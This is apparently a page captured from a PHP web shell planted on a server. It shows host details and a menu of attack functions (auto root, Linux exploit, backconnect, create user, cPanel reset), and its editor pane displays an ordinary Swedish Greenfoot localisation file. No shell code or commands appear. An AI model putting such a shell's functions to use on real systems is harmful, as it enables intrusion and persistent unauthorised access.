Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.15
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
greenfoot /
swedish /
[ HOME SHELL ]
Name
Size
Permission
Action
templates
[ DIR ]
drwxr-xr-x
dialogues
7.63
KB
-rw-r--r--
greenfoot-labels
16.71
KB
-rw-r--r--
labels
21.36
KB
-rw-r--r--
moe.help
6.7
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : greenfoot-labels
#i18n for greenfoot greenfoot.nyi=Ej implementerat \u00E4n - sorry. greenfoot.preferences=Inst\u00E4llningar... greenfoot.copyright=Upphovsr\u00E4tt... greenfoot.quit=Avsluta greenfoot.launchFailed=Greenfoot misslyckades med att starta. F\u00F6r hj\u00E4lp, g\u00E5 till http://www.greenfoot.org/support # Greenfoot project version info project.version.none=Scenariot som \u00F6ppnas \u00E4r skapat med en gammal version av Greenfoot (innan version 0.5). Detta resulterar sannolikt i vissa fel som m\u00E5ste \u00E5tg\u00E4rdas manuellt. project.version.notGreenfoot=Detta \u00E4r inte ett Greenfoot-scenario: project.version.mismatch=Versionerna matchar inte # The next 3 items will be shown if the major digit in the version number has changed. # part3 should be updated to describe the changes that has happened. project.version.older.part1=Det \u00F6ppnade scenariot har skapats med an gammal version av Greenfoot (API version # project version inserted here by Greenfoot project.version.older.part2=). Scenariot kommer att uppdateras till nuvarande version (API version # api version inserted here by Greenfoot #Info about changes in this new version of the API that might break existing scenarios. project.version.older.part3=). F\u00F6ljande \u00E4ndringar i Greenfoots API kan g\u00F6ra detta scenario obrukbart: # Note the versions here are API versions, not Greenfoot versions! project.version.changes.1=2.1.0 Metoderna 'stopSimulation', 'startSimulation' and 'setSimulationSpeed' i Greenfoot har bytit namn till 'start', 'stop' and 'setSpeed'. project.version.changes.2=2.1.0 Actor-metoder 'getWidth' and 'getHeight' har tagits bort. Use 'getImage().getWidth()' and 'getImage().getHeight()' instead. project.version.changes.3=2.1.0 Actor-metoder 'getObjectsInRange' anv\u00E4nder numer celler ist\u00E4llet f\u00F6r pixlar som enhet f\u00F6r r\u00E4ckvidd project.version.changes.4=2.1.0 Greenfoot har gjorts skiftl\u00E4gesk\u00E4nsliga n\u00E4r man behandlar ljud- och bildfiler. project.version.changes.5=2.1.0 World's metoder 'setTiled' and 'getTiled' har tagits bort. project.version.changes.6=2.1.0 World's 'getBackground' returnerar nu en bild med samma storlek som hela bakgrunden. project.version.changes.7=2.2.0 En 'move'-metod och en 'turn'-metod har lagts till i Actor-klassen. project.version.changes.8=2.3.0 Greenfoot.getMouseInfo() returnerar nu endast null om musen inte finns i v\u00E4rlden. project.version.changes.9=2.3.0 En metod: 'turnTowards(int,int)' har lagts till i Actor-klassen. project.version.changes.10=2.4.0 En klass 'UserInfo' har lagts till (ombd\u00F6p fr\u00E5n 'PlayerData' i Greenfoot 2.2.0 beta). project.version.changes.11=2.5.0 Metoderna 'isTouching' och 'removeTouching' har lagts till i Actor-klassen. project.version.changes.12=2.6.0 Metoden 'showText' lads till i World-klassen och en ny konstruktor lades till i GreenfootImage. project.version.changes.13=2.7.0 Metoden 'ask' lades till i Greenfoot-klassen. project.version.changes.14=2.8.0 Metoden 'getWorldOfType' lades till i Actor-klassen och generics lades till i APIn. project.version.changes.15=3.0.0 Klasserna greenfoot.Color och greenfoot.Font introducerades f\u00F6r att ers\u00E4tta java.awt-klasser. project.version.newer.part1=Scenariot som \u00F6ppnas skapades i en nyare version av Greenfoot (API version # project version inserted here by Greenfoot project.version.newer.part2=). Om du \u00F6ppnar scenariot i nuvarande version s\u00E5 kan det resultera i fel som m\u00E5ste \u00E5tg\u00E4rdas manuellt.\n\nVill du forts\u00E4tta \u00F6ppna filen \u00E4nd\u00E5? project.close=St\u00E4ng # Actions greenfoot.about=Om Greenfoot... compile.all=Kompilera compile.class=Kompilera duplicate.class=Duplicera... edit.class=\u00D6ppna redigerare edit.images=Scenario-bilder... new.other.class=Ny klass... new.sub.class=Ny subklass... stride.new.project=Nytt Stride-scenario... java.new.project=Nytt Java-Scenario... open.project=\u00D6ppna... open.gfar.project=\u00D6ppna GFAR... open.recentProject=\u00D6ppna senaste remove.class=Ta bort remove.selected=Ta bort klass convert.to.java.class=Konvertera till Java convert.to.java.selected=Konvertera klass till Java inspect.class=Inspektera reset.world=\u00C5terst\u00E4ll run.once=Agera run.simulation=K\u00F6r project.save=Spara project.saveAs=Spara som... select.image=Ange bild... show.readme=Scenario-information pause.simulation=Pausa show.apidoc=\u00D6ppna dokumentation save.world=Spara v\u00E4rlden newProject.prompt=Ange ett namn f\u00F6r scenariot # Remove class confirmation remove.confirm.title=Bekr\u00E4fta borttagning av klass remove.confirm.text1=Du kommer att ta bort klassen remove.confirm.text2=Forts\u00E4tt? # Convert to Java class confirmation convert.to.java.confirm.title=Bekr\u00E4fta att du vill konvertera en klass convert.to.java.confirm.text1=Du h\u00E5ller p\u00E5 att konvertera convert.to.java.confirm.text2=en klass fr\u00E5n Stride till Java. convert.to.java.confirm.text3=Denna handling kan o\u00E5terkallelig. Forts\u00E4tt? # Save As project dialog project.saveAs.title=Spara scenario som # Export scenario dialog export.project=Dela... export.progress.bundling=F\u00F6rpackar scenario... export.progress.publishing=Publicerar... export.progress.writingHTML=Skriver webbsida... export.progress.writingJar=Skriver jar-fil... export.progress.writingGfar=Skriver gfar.fil... export.progress.complete=Export utf\u00F6rd. export.publish.fail=Publicering misslyckades: export.publish.unknownHost=Publicering misslyckades: Ok\u00E4nd v\u00E4rd export.publish.errorResponse=Svaret fr\u00E5n servern k\u00E4nns inte igen. export.publish.errorPassword=Felaktigt anv\u00E4ndarnamn eller l\u00F6senord. export.publish.errorTooLarge=Scenariot \u00E4r f\u00F6r stort. export.publish.complete=Publicering utf\u00F6rd. export.publish.proxyAuth=Proxy-autentisering export.publish.needProxyAuth=Proxy-autentisering kr\u00E4vs. export.app.help=Skapa en frist\u00E5ende, k\u00F6rbar jar-fil export.app.location=Spara till: export.app.browse=Utforska export.app.choose=Spara k\u00F6rbara jar-fil export.project.help=Skapa en frist\u00E5ende gfar-fil. export.project.location=Spara till: export.project.browse=Utforska export.project.choose=Spara gfar-fil f\u00F6r projekt export.dialog.title=Dela export.dialog.export=Exportera export.dialog.share=Dela export.dialog.update=Updatera export.lock.label=L\u00E5s scenario export.controls.label=G\u00F6m kontrollerna export.fullScreen.label=Helsk\u00E4rm export.fullScreen.description=\u00D6ppnar scenariot i helsk\u00E4rm export.controls.description=G\u00F6mmer K\u00F6r/Paus och \u00E5terst\u00E4ll-knapparna. export.snapshot.label=Beh\u00E5ll nuvarande sk\u00E4rmdump export.lock.descriptionF\u00F6rhindrar: Hastighetsf\u00F6r\u00E4ndring, Act-knapp och \u00E4ndring av actor-position under paus. export.publish.help=Publicera scenariot till: export.publish.info=Information visas p\u00E5 export.publish.image1=Scenario-ikon: export.publish.image2=(\u00E4ndra storlek/flytta) export.publish.title=Titel: export.publish.tags.additional1=Ytterligare taggar: export.publish.tags.additional2=(en tagg per rad) export.publish.tags.popular=Popul\u00E4ra taggar: export.publish.tags.loading=laddar... export.publish.shortDescription=Enradsbeskrivning: export.publish.longDescription=L\u00E4ngre beskrivning: export.publish.update=\u00C4ndringar i uppdatering: export.publish.url=Din egen sida (URL): export.publish.login=Logga in export.publish.username=Anv\u00E4ndarnamn: export.publish.password=L\u00F6senord: export.publish.createAccount=Skapa konto export.publish.includeSource=Publicera k\u00E4llkod export.web.help=Skapa en webbsida med en applet. export.web.exportLocation=Exportera plats: export.web.browse=Utforska export.web.choose=V\u00E4lj namn p\u00E5 mapp f\u00F6r exportering export.icontab.publish=Publicera export.icontab.webpage=Webbsida export.icontab.application=Applikation export.icontab.project=Projekt export.noworld.dialog.title=Fel: Ingen world-klass hittades. export.noworld.dialog.msg=Ingen world-klass kunde hittas i scenariot. F\u00F6r att exportera kr\u00E4vs en subklass av World. export.noconstructor.dialog.title=Fel: Ingen l\u00E4mplig konstruktor export.noconstructor.dialog.msg=World-klassen har ingen standardkonstruktor. F\u00F6r att exportera kr\u00E4vs en konstruktor utan argument. publish.event.error=Fel: publish.event.status=Status: world.handlerDelegate.inspect=Inspektera world.handlerDelegate.remove=Ta bort record.method.comment1=F\u00F6rbered v\u00E4rlden p\u00E5 programstart. record.method.comment2=Vilket inneb\u00E4r: skapa startobjekt och l\u00E4gg till dem i v\u00E4rlden. greenfoot.utilDelegate.newScenario=Nytt Scenario #File choosers chooser.newFile.button=V\u00E4lj chooser.scenario.title=\u00D6ppna Scenario chooser.scenario.button=\u00D6ppna #New Class dialog newclass.dialog.title=Skapa ny klass newclass.dialog.help1=Ett klassnamn f\u00E5r inte inneh\u00E5ler mellanslag eller punktuering newclass.dialog.help2=och b\u00F6r b\u00F6rja med en stor bokstav. newclass.dialog.className=Nytt klassnamn: newclass.dialog.err.classExists=En klass med det namnet finns redan. newclass.dialog.err.classNameIllegal=Ogiltigt $LANGUAGE klassnamn. newclass.dialog.selectionLabel=Spr\u00E5k: newclass.dialog.class=Klass newclass.dialog.interface=Gr\u00E4nssnitt # Image Lib Preview imagelib.paste.image=Klistra in bild... imagelib.title=V\u00E4lj klassens bild: imagelib.newClass=Ny klass imagelib.projectImages=Scenari-bilder: imagelib.categories=Bildkategorier: imagelib.images=Bibliotek-bilder: imagelib.browse.button=Importa fr\u00E5n fil... imagelib.create.button=Skapa ny bild... imagelib.edit=Redigera imagelib.edit.tooltip=Redigera vald bild genom att \u00F6ppna den i bildredigeraren. imagelib.duplicate=Duplicera imagelib.duplicate.tooltip=Duplicera vald bild. imagelib.delete=Ta bort imagelib.delete.tooltip=Ta bort vald bild. imagelib.import.button=Importera fr\u00E5n bibliotek... imagelib.create.tooltip=Skapa en ny bild med standardstorlek och standardnamn och \u00F6ppna den i bildredigeraren. imagelib.paste.tooltip=Klistra in en bild fr\u00E5n systemets urklipp. imagelib.import.tooltip=Skapa en bild fr\u00E5n ett bibliotek f\u00F6r att importera den till scenariot. imagelib.className=Nytt klassnamn: imagelib.newClass.image=Ny klassbild: imagelib.file.noPreview=Ingen f\u00F6rhandsgranskning imagelib.choose.button=Markera imagelib.write.exists.title=Bekr\u00E4fta ers\u00E4ttning av fil imagelib.greenfoot.frame.title=Greenfoot biblioteks-bilder imagelib.scenario.frame.title=Scenario-bilder imagelib.image.invalid.title=Ogiltig bild imagelib.rename.exists.text=Kan ej byta namn p\u00E5 fil f\u00F6r att en fil med det namnet redan existerar imagelib.rename.exists.title=Byta namn misslyckads imagelib.new.image.title=Ny bild imagelib.new.image.name=Namn: imagelib.new.image.name.prompt=Skriv ett namn f\u00F6r den nya bilden imagelib.new.image.width=Bredd: imagelib.new.image.height=H\u00F6jd: imagelib.new.image.type=Typ: imagelib.more=Fler handlingar... imagelib.duplicate.image.name.suffix=Kopiera editor.paste.image.title=Klistra in bild editor.paste.image.prompt=Filnamn: editor.paste.image.name.prompt=Skriv ett namn f\u00F6r den infogade bilden scenario.viewer.appletInfo=Applet genererad med Greenfoot (www.greenfoot.org). Scenarionamn: # Simulation Control Panel controls.runonce.shortDescription=Kalla 'act' en g\u00E5ng per actor. controls.runonce.longDescription=Kalla 'act' en g\u00E5ng f\u00F6r varje actor. controls.run.shortDescription=K\u00F6r simulationen. controls.run.longDescription=K\u00F6r simulationen tills den stoppas. controls.pause.shortDescription=Pausa simulationen. controls.pause.longDescription=Pausa simulationen och l\u00E4mna den i nuvarande tillst\u00E5nd. controls.run.button=K\u00F6r controls.pause.button=Pausa controls.reset.shortDescription=Initiera en ny v\u00E4rld. controls.reset.longDescription=Initiera en ny v\u00E4rld. controls.speed.label=Hastighet: controls.speedSlider.tooltip=Justerar exekveringshastigheten # Class browser browser.border.world=World-klasser browser.border.actors=Actor-klasser browser.border.others=Andra klasser # Sound Recorder soundRecorder.title=Ljudinspelare soundRecorder.record=Spela in soundRecorder.stopRecord=Stoppa inspelning soundRecorder.trim=Trimma till markering soundRecorder.play=Spela upp soundRecorder.playSelection=Spela upp markering soundRecorder.stopPlay=Stoppa uppspelning soundRecorder.filename=Filnamn soundRecorder.save=Spara soundRecorder.close=St\u00E4ng soundRecorder.close.without.saving=St\u00E4ng utan att spara # Import import.import=Importera import.dialogTitle=Importera klass import.action=Importera klass... import.restartMessage=Greenfoot m\u00E5ste startas om f\u00F6r att detta projekt ska fungera korrekt set.player=Set Player Name playername.dialog.title=Ange spelarens namn playername.dialog.help=Ange anv\u00E4ndarnamn som anv\u00E4nds i UserInfo-klassen playername.dialog.playerName=Spelarens namn prefmgr.misc.playername.title=Spelarens namn prefmgr.misc.playerNameNote=Du kan \u00E4ndra detta snabbt genom genv\u00E4gen: # Menus menu.openRecent=\u00D6ppna senaste menu.noRecentProjects=(inga senaste scenarion) menu.scenario=Scenario menu.edit=Redigera menu.new=Nytt menu.controls=Kontroller menu.debugger=Visa debugger menu.soundRecorder=Visa ljudinspelare menu.help=Hj\u00E4lp menu.help.about=Om Greenfoot... menu.help.classDoc=Greenfoot klass-dokumentation menu.help.javadoc=Java biblioteksdokumentation menu.help.tutorial=Greenfoot handledning menu.help.website=Greenfoot webbsida menu.help.moreScenarios=Hitta fler scenarion menu.help.discuss=Greenfoot diskussion #Copyright menu.help.copyright.title=Greenfoot Upphvovsr\u00E4tt, licensiering och omdistrubutering menu.help.copyright.line0=Greenfoot \u00a9 2005-2018 Michael K\u00F6lling, Poul Henriksen. menu.help.copyright.line1=Greenfoot \u00E4r tillg\u00E4nglig under licensen GNU General Public License menu.help.copyright.line2=version 2 med Classpath undantag. menu.help.copyright.line3=F\u00F6r mer information, see filerna LICENSE.txt menu.help.copyright.line4=och THIRDPARTYLICENSE.txt. # Popup menu classPopup.needsCompile=Beh\u00F6ver kompileras classPopup.containsError=Inneh\u00E5ller fel # Project does not exist dialog noproject.dialog.title=Fel vid \u00F6ppning av projekt noproject.dialog.msg=Projektet existerar inte: # Header for the properties file properties.heading.greenfoot=Greenfoot-inst\u00E4llningar. Inst\u00E4llningar i den h\u00E4r filen \u00F6verskrider \"bluej.defs\" och \"greenfoot.defs\" # Message to display if a file cannot be created greenfoot.cannotCreateClass=Klassen kunde unte skapas. Kontrollera att prjektets mapp \u00E4r skrivbar. # General error messages greenfoot.cannotFindAPIDocumentation=API-dokumentationen verkar saknas eller vara ol\u00E4sbar. # Message for sound related errors sound-line-unavailable=Kan ej f\u00E5 tillg\u00E5ng till ljudkortet. Om du har ett\n ljudkort installerat, kontrollera systeminst\u00E4llningarna och st\u00E4ng\n andra program som skulle kunna anv\u00E4nda ljudkortet. # MainFrame central messages centrePanel.message.openScenario=\u2196 Skapa eller \u00F6ppna ett scenario via scenario-menyn centrePanel.message.createWorldClass=Skapa en ny subklass i World centrePanel.message.createWorldObject=Initiera ett nytt World-objekt centrePanel.message.compile1=World-klassen kan inte kompileras centrePanel.message.compile2=En av klasserna har ett fel. Kontrollera dem f\u00F6r att initiera scenariot. \u2197 centrePanel.message.initialising=V\u00E4rlden konstrueras... centrePanel.message.initialisingTooLong1=Konstrukton f\u00F6r World tar l\u00E5ng tid. centrePanel.message.initialisingTooLong2=Du kanske har en evig loop. centrePanel.message.notFocused=F\u00F6r att konstruera v\u00E4rlden, klicka p\u00E5 detta f\u00F6nster. centrePanel.restartButton.label=Start om centrePanel.message.error1=World-konstruktorn kastade ett undantag. centrePanel.message.error2=Se terminal-f\u00F6nstret f\u00F6r fler detaljer. centrePanel.message.afterRestarting1=Greenfoot har startats om f\u00F6r att World inte kunde konstrueras. centrePanel.message.afterRestarting2=Kontrollera konstruktorn f\u00F6r World-subklassen. centrePanel.message.missingWorldConstructor1=V\u00E4rlden kunde inte konstrueras. World-subklassen kanske inte centrePanel.message.missingWorldConstructor2=har en publik konstruktor utan parametrar. centrePanel.message.hung=Exekvering tar l\u00E5ng tid. Du kanske beh\u00F6ver stoppa exekveringen via snurrande knappen nere till h\u00F6ger. executionDisplay.openDebugger=\u00D6ppna debugger executionDisplay.restart=Avsluta exekvering # Not a package notAProject.greenfoot.title=Inte ett Greenfoot-scenario notAProject.greenfoot.message=Den valda mappen inneh\u00E5ller inte ett Greenfoot-scenario: notAProject.greenfoot.subDirs=Vissa undermappar inneh\u00E5ller Greenfoot-scenarion. Menade du: notAProject.greenfoot.subDirButton=\u00D6ppna markerade notAProject.greenfoot.button=V\u00E4lj igen...
Close